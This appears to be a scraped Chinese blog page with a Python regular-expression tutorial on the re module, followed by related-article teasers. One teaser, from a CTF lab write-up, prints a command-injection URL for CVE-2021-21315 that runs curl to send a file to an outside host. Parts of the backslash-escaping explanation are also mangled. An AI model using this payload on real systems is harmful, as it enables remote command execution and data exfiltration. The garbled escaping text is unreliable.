Python学习笔记_基础篇(八)_正则表达式

news2025/1/18 11:40:10

1. 正则表达式基础

1.1. 简单介绍

正则表达式并不是Python的一部分。正则表达式是用于处理字符串的强大工具,拥有自己独特的语法以及一个独立的处理引擎,效率上可能不如str自带的方法,但功能十分强大。得益于这一点,在提供了正则表达式的语言里,正则表达式的语法都是一样的,区别只在于不同的编程语言实现支持的语法数量不同;但不用担心,不被支持的语法通常是不常用的部分。如果已经在其他语言里使用过正则表达式,只需要简单看一看就可以上手了。

下图展示了使用正则表达式进行匹配的流程:
re_simple

正则表达式的大致匹配过程是:依次拿出表达式和文本中的字符比较,如果每一个字符都能匹配,则匹配成功;一旦有匹配不成功的字符则匹配失败。如果表达式中有量词或边界,这个过程会稍微有一些不同,但也是很好理解的,看下图中的示例以及自己多使用几次就能明白。

下图列出了Python支持的正则表达式元字符和语法:
pyre

1.2. 数量词的贪婪模式与非贪婪模式

正则表达式通常用于在文本中查找匹配的字符串。Python里数量词默认是贪婪的(在少数语言里也可能是默认非贪婪),总是尝试匹配尽可能多的字符;非贪婪的则相反,总是尝试匹配尽可能少的字符。例如:正则表达式"ab*“如果用于查找"abbbc”,将找到"abbb"。而如果使用非贪婪的数量词"ab*?“,将找到"a”。

1.3. 反斜杠的困扰

与大多数编程语言相同,正则表达式里使用"“作为转义字符,这就可能造成反斜杠困扰。假如你需要匹配文本中的字符”“,那么使用编程语言表示的正则表达式里将需要4个反斜杠”\\\“:前两个和后两个分别用于在编程语言里转义成反斜杠,转换成两个反斜杠后再在正则表达式里转义成一个反斜杠。Python里的原生字符串很好地解决了这个问题,这个例子中的正则表达式可以使用r”\“表示。同样,匹配一个数字的”\\d"可以写成r"\d"。有了原生字符串,你再也不用担心是不是漏写了反斜杠,写出来的表达式也更直观。

1.4. 匹配模式

正则表达式提供了一些可用的匹配模式,比如忽略大小写、多行匹配等,这部分内容将在Pattern类的工厂方法re.compile(pattern[, flags])中一起介绍。

2. re模块

2.1. 开始使用re

Python通过re模块提供对正则表达式的支持。使用re的一般步骤是先将正则表达式的字符串形式编译为Pattern实例,然后使用Pattern实例处理文本并获得匹配结果(一个Match实例),最后使用Match实例获得信息,进行其他的操作。

# encoding: UTF-8
import re
 
# 将正则表达式编译成Pattern对象
pattern = re.compile(r'hello')
 
# 使用Pattern匹配文本,获得匹配结果,无法匹配时将返回None
match = pattern.match('hello world!')
 
if match:
    # 使用Match获得分组信息
    print match.group()
 
### 输出 ###
# hello

re.compile(strPattern[, flag]):

这个方法是Pattern类的工厂方法,用于将字符串形式的正则表达式编译为Pattern对象。 第二个参数flag是匹配模式,取值可以使用按位或运算符’|‘表示同时生效,比如re.I | re.M。另外,你也可以在regex字符串中指定模式,比如re.compile(‘pattern’, re.I | re.M)与re.compile(’(?im)pattern’)是等价的。
可选值有:

* re. **I** (re.IGNORECASE): 忽略大小写(括号内是完整写法,下同)
* **M** (MULTILINE): 多行模式,改变'^'和'$'的行为(参见上图)
* **S** (DOTALL): 点任意匹配模式,改变'.'的行为
* **L** (LOCALE): 使预定字符类 \w \W \b \B \s \S 取决于当前区域设定
* **U** (UNICODE): 使预定字符类 \w \W \b \B \s \S \d \D 取决于unicode定义的字符属性
* **X** (VERBOSE): 详细模式。这个模式下正则表达式可以是多行,忽略空白字符,并可以加入注释。以下两个正则表达式是等价的:

Match

Match对象是一次匹配的结果,包含了很多关于此次匹配的信息,可以使用Match提供的可读属性或方法来获取这些信息。

属性:

  1. string : 匹配时使用的文本。
  2. re : 匹配时使用的Pattern对象。
  3. pos : 文本中正则表达式开始搜索的索引。值与Pattern.match()和Pattern.seach()方法的同名参数相同。
  4. endpos : 文本中正则表达式结束搜索的索引。值与Pattern.match()和Pattern.seach()方法的同名参数相同。
  5. lastindex : 最后一个被捕获的分组在文本中的索引。如果没有被捕获的分组,将为None。
  6. lastgroup : 最后一个被捕获的分组的别名。如果这个分组没有别名或者没有被捕获的分组,将为None。

方法:

1. **group([group1, …]):**  

获得一个或多个分组截获的字符串;指定多个参数时将以元组形式返回。group1可以使用编号也可以使用别名;编号0代表整个匹配的子串;不填写参数时,返回group(0);没有截获字符串的组返回None;截获了多次的组返回最后一次截获的子串。
2. groups([default]):
以元组形式返回全部分组截获的字符串。相当于调用group(1,2,…last)。default表示没有截获字符串的组以这个值替代,默认为None。
3. **groupdict([default]):
** 返回以有别名的组的别名为键、以该组截获的子串为值的字典,没有别名的组不包含在内。default含义同上。
4. start([group]):
返回指定的组截获的子串在string中的起始索引(子串第一个字符的索引)。group默认值为0。
5. **end([group]):
** 返回指定的组截获的子串在string中的结束索引(子串最后一个字符的索引+1)。group默认值为0。
6. **span([group]):
** 返回(start(group), end(group))。

# match,从起始位置开始匹配,匹配成功返回一个对象,未匹配成功返回None
 
 
 match(pattern, string, flags=0)
 # pattern: 正则模型
 # string : 要匹配的字符串
 # falgs  : 匹配模式
     X  VERBOSE     Ignore whitespace and comments for nicer looking RE's.
     I  IGNORECASE  Perform case-insensitive matching.
     M  MULTILINE   "^" matches the beginning of lines (after a newline)
                    as well as the string.
                    "$" matches the end of lines (before a newline) as well
                    as the end of the string.
     S  DOTALL      "." matches any character at all, including the newline.
 
     A  ASCII       For string patterns, make \w, \W, \b, \B, \d, \D
                    match the corresponding ASCII character categories
                    (rather than the whole Unicode categories, which is the
                    default).
                    For bytes patterns, this flag is the only available
                    behaviour and needn't be specified.
      
     L  LOCALE      Make \w, \W, \b, \B, dependent on the current locale.
     U  UNICODE     For compatibility only. Ignored for string patterns (it
                    is the default), and forbidden for bytes patterns.

# 无分组
        r = re.match("h\w+", origin)
        print(r.group())     # 获取匹配到的所有结果
        print(r.groups())    # 获取模型中匹配到的分组结果
        print(r.groupdict()) # 获取模型中匹配到的分组结果

        # 有分组

        # 为何要有分组?提取匹配成功的指定内容(先匹配成功全部正则,再匹配成功的局部内容提取出来)

        r = re.match("h(\w+).*(?P<name>\d)$", origin)
        print(r.group())     # 获取匹配到的所有结果
        print(r.groups())    # 获取模型中匹配到的分组结果
        print(r.groupdict()) # 获取模型中匹配到的分组中所有执行了key的组

demo

**search(string[, pos[, endpos]]) | re.search(pattern, string[, flags]):
** 这个方法用于查找字符串中可以匹配成功的子串。从string的pos下标处起尝试匹配pattern,如果pattern结束时仍可匹配,则返回一个Match对象;若无法匹配,则将pos加1后重新尝试匹配;直到pos=endpos时仍无法匹配则返回None。
pos和endpos的默认值分别为0和len(string));re.search()无法指定这两个参数,参数flags用于编译pattern时指定匹配模式。

# search,浏览整个字符串去匹配第一个,未匹配成功返回None
# search(pattern, string, flags=0)

        # 无分组

        r = re.search("a\w+", origin)
        print(r.group())     # 获取匹配到的所有结果
        print(r.groups())    # 获取模型中匹配到的分组结果
        print(r.groupdict()) # 获取模型中匹配到的分组结果

        # 有分组

        r = re.search("a(\w+).*(?P<name>\d)$", origin)
        print(r.group())     # 获取匹配到的所有结果
        print(r.groups())    # 获取模型中匹配到的分组结果
        print(r.groupdict()) # 获取模型中匹配到的分组中所有执行了key的组

demo

**split(string[, maxsplit]) | re.split(pattern, string[, maxsplit]):
** 按照能够匹配的子串将string分割后返回列表。maxsplit用于指定最大分割次数,不指定将全部分割。

# split,根据正则匹配分割字符串
 
split(pattern, string, maxsplit=0, flags=0)
# pattern: 正则模型
# string : 要匹配的字符串
# maxsplit:指定分割个数
# flags  : 匹配模式

        # 无分组
        origin = "hello alex bcd alex lge alex acd 19"
        r = re.split("alex", origin, 1)
        print(r)

        # 有分组
        
        origin = "hello alex bcd alex lge alex acd 19"
        r1 = re.split("(alex)", origin, 1)
        print(r1)
        r2 = re.split("(al(ex))", origin, 1)
        print(r2)

demo

**findall(string[, pos[, endpos]]) | re.findall(pattern, string[, flags]):
** 搜索string,以列表形式返回全部能匹配的子串。

# findall,获取非重复的匹配列表;如果有一个组则以列表形式返回,且每一个匹配均是字符串;如果模型中有多个组,则以列表形式返回,且每一个匹配均是元祖;
# 空的匹配也会包含在结果中
#findall(pattern, string, flags=0)

 # 无分组
        r = re.findall("a\w+",origin)
        print(r)

        # 有分组
        origin = "hello alex bcd abcd lge acd 19"
        r = re.findall("a((\w*)c)(d)", origin)
        print(r)

demo

**sub(repl, string[, count]) | re.sub(pattern, repl, string[, count]):
** 使用repl替换string中每一个匹配的子串后返回替换后的字符串。
当repl是一个字符串时,可以使用\id或\g、\g引用分组,但不能使用编号0。
当repl是一个方法时,这个方法应当只接受一个参数(Match对象),并返回一个字符串用于替换(返回的字符串中不能再引用分组)。
count用于指定最多替换次数,不指定时全部替换。

# sub,替换匹配成功的指定位置字符串
 
sub(pattern, repl, string, count=0, flags=0)
# pattern: 正则模型
# repl   : 要替换的字符串或可执行对象
# string : 要匹配的字符串
# count  : 指定匹配个数
# flags  : 匹配模式  

  # 与分组无关

        origin = "hello alex bcd alex lge alex acd 19"
        r = re.sub("a\w+", "999", origin, 2)
        print(r)

demo

**subn(repl, string[, count]) |re.sub(pattern, repl, string[, count]):
** 返回 (sub(repl, string[, count]), 替换次数)。

import re
 
p = re.compile(r'(\w+) (\w+)')
s = 'i say, hello world!'
 
print p.subn(r'\2 \1', s)
 
def func(m):
    return m.group(1).title() + ' ' + m.group(2).title()
 
print p.subn(func, s)
 
### output ###
# ('say i, world hello!', 2)
# ('I Say, Hello World!', 2)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/884764.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Alibaba中间件技术系列】「RocketMQ技术专题」帮你梳理RocketMQ相关的消费问题以及原理分析总结

消息重复消费的问题 消息重复消费是各个MQ都会发生的常见问题之一&#xff0c;在一些比较敏感的场景下&#xff0c;重复消费会造成比较严重的后果&#xff0c;比如重复扣款等。 消息重复消费场景及解决办法 在什么情况下会发生RocketMQ的消息重复消费呢&#xff1f; 生产者重…

运动健身耳机什么的好、适合运动的耳机推荐

保持运动健身的习惯不仅成为一种生活态度&#xff0c;也逐渐演变为一种时尚潮流。随之而来的是越来越多的周边设备&#xff0c;旨在提高健身爱好者的运动效率。其中&#xff0c;运动耳机无疑是其中之一&#xff0c;不论是室内锻炼还是室外运动&#xff0c;一款舒适的运动耳机能…

【LeetCode75】第三十题 奇偶链表

目录 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 代码&#xff1a; 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 题目给我们一个链表&#xff0c;让我们把奇索引和偶索引的节点区分开来 &#xff0c;参考示例给出的图我们应该就能很清晰地知道题目是什么…

第六章Tomcat部署以及优化

Tomcat&#xff1a; 开放源代码web应用服务器。&#xff08;基于Java代码开发的&#xff09;&#xff0c;主要是处理动态请求和基于java代码进行页面开发。可以在html当中写入Java代码&#xff0c;Tomcat可以解析html页面当中的Java&#xff0c;执行动态请求&#xff0c;动态页…

春秋云镜 CVE-2021-21315

春秋云镜 CVE-2021-21315 systeminformation存在命令注入 靶标介绍 systeminformation是一个简单的查询系统和OS信息包。 启动场景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登录ceye.io平台&#xff0c;curl请求 http://eci-2zed871sr7xrdjb…

Memory Analyzer(MAT)分析内存

关于作者&#xff1a;CSDN内容合伙人、技术专家&#xff0c; 从零开始做日活千万级APP。 专注于分享各领域原创系列文章 &#xff0c;擅长java后端、移动开发、人工智能等&#xff0c;希望大家多多支持。 目录 一、导读二、概览三、 使用3.1 hprof 文件准备3.1.1 Android sutdi…

word之插入尾注+快速回到刚才编辑的地方

1-插入尾注 在编辑文档时&#xff0c;经常需要对一段话插入一段描述或者附件链接等&#xff0c;使用脚注经常因占用篇幅较大导致文档页面内容杂乱&#xff0c;这事可以使用快捷键 ControlaltD 即可在 整个行文的末尾插入尾注&#xff0c;这样文章整体干净整洁&#xff0c;需…

驾考笔记 _ 科目3 - 坂田线路图

深圳坂田线路图 1#线 >2#线 >3#线 > 1#线 > 2#线 > 3#线 > 简图&#xff1a;

Python random模块用法整理

随机数在计算机科学领域扮演着重要的角色&#xff0c;用于模拟真实世界的随机性、数据生成、密码学等多个领域。Python 中的 random 模块提供了丰富的随机数生成功能&#xff0c;本文整理了 random 模块的使用。 文章目录 Python random 模块注意事项Python random 模块的内置…

koa 使用 Mongoose 查询数据

Mongosee 操作符koa 使用 Mongoose 进行 翻页查询koa 使用 Mongoose 进行 多条件查询 mongosee 操作符 在使用 Koa 和 Mongoose 进行数据库查询时&#xff0c;你可以使用以下常用的操作符来构建查询条件&#xff1a; $eq&#xff1a;等于 示例&#xff1a;{ field: { $eq: valu…

pip install mysql出现error: subprocess - exited-with-error的解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

【Linux命令详解 | df命令】 df命令用于显示文件系统的磁盘空间使用情况,包括挂载点和可用空间

文章标题 简介一&#xff0c;参数列表二&#xff0c;使用介绍1. 查看整体磁盘空间使用情况2. 显示指定文件系统类型3. 查看inode信息4. 显示指定列5. 显示总计信息6. 检查特定文件系统空间使用情况7. 定期监控磁盘空间8. 了解磁盘配额9. 监控文件系统健康状态 结论 简介 在Lin…

如何快速更换有问题的PROFINET IO设备?

如何快速更换有问题的PROFINET IO设备? 一般情况下,更换PROFINET设备的步骤如下: 拆下有问题的PN 设备安装新设备打开博途软件在线分配设备名称和IP地址 那么,为了减少设备宕机时间,快速更换有问题的PN IO设备,我们可以采用以下的方法: PLC需支持无介质可更换设备的必需…

ICC2如何write_gds写出pr boundary

我正在「拾陆楼」和朋友们讨论有趣的话题,你⼀起来吧? 拾陆楼知识星球 在数模混合项目中,需要在前期确定pr boundary的尺寸,可以在virtuoso中画一个pr boundary存def给pr,当然,pr这边在前期修改尺寸也需要给负责模拟版图的同事确认,但ICC2 write gds默认是写不出pr bou…

TienChin 创建菜单页面

上一节当中我们只是给后台添加了对应的菜单&#xff0c;实际上对应的页面还没有存在这节主要就是创建出来页面&#xff1a; 促销活动: activity统计分析: analysis商机管理: business渠道管理: channel线索管理: clue合同管理: contract私教课程: course转派管理: transfer tem…

AMD Zen4撕裂者太霸气了!96核心功耗只有350W

AMD将在今年第三季度发布基于Zen4架构的新一代锐龙线程撕裂者&#xff0c;不但继续在核心数量、性能上碾压对手&#xff0c;还会升级到DDR5、PCIe 5.0。 在最新曝光的一份货物清单中&#xff0c;赫然可以看到三款新的撕裂者&#xff1a; &#xff0d; Threadripper 7995WX 350W…

动设备状态监测:智能化生产的关键利器

动设备状态监测正引领着工业生产的智能化转型。本文将深入探讨动设备状态监测的意义、PreMaint在其中的角色&#xff0c;以及如何实现智能化生产&#xff0c;提高生产效率和可靠性。 1. 动设备状态监测的重要性 随着制造业的发展&#xff0c;设备的状态监测变得至关重要。动设…

Java 中的 JIT 和 AOT

我们都知道&#xff0c;Java 是一种半编译型&#xff0c;半解释型的语言&#xff0c;其编译部分和 C 语言比较类似&#xff0c;解释部分和 Python 语言比较类似&#xff0c;而 Java 则是综合了两种方式的语言。 一、编译与解释 1.1 编译型语言 所谓编译&#xff0c;就是将程…

ClickHouse(二十):Clickhouse SQL DDL操作-2-分区表DDL操作

进入正文前&#xff0c;感谢宝子们订阅专题、点赞、评论、收藏&#xff01;关注IT贫道&#xff0c;获取高质量博客内容&#xff01; &#x1f3e1;个人主页&#xff1a;含各种IT体系技术&#xff0c;IT贫道_Apache Doris,大数据OLAP体系技术栈,Kerberos安全认证-CSDN博客 &…

TienChin 引入 MyBatisPlus

在父工程当中添加版本号&#xff0c;统一管理&#xff1a; <mybatis-plus.version>3.5.1</mybatis-plus.version> 在父工程当中添加 MyBatisPlus 依赖&#xff1a; <!--MyBatis Plus--> <dependency><groupId>com.baomidou</groupId><a…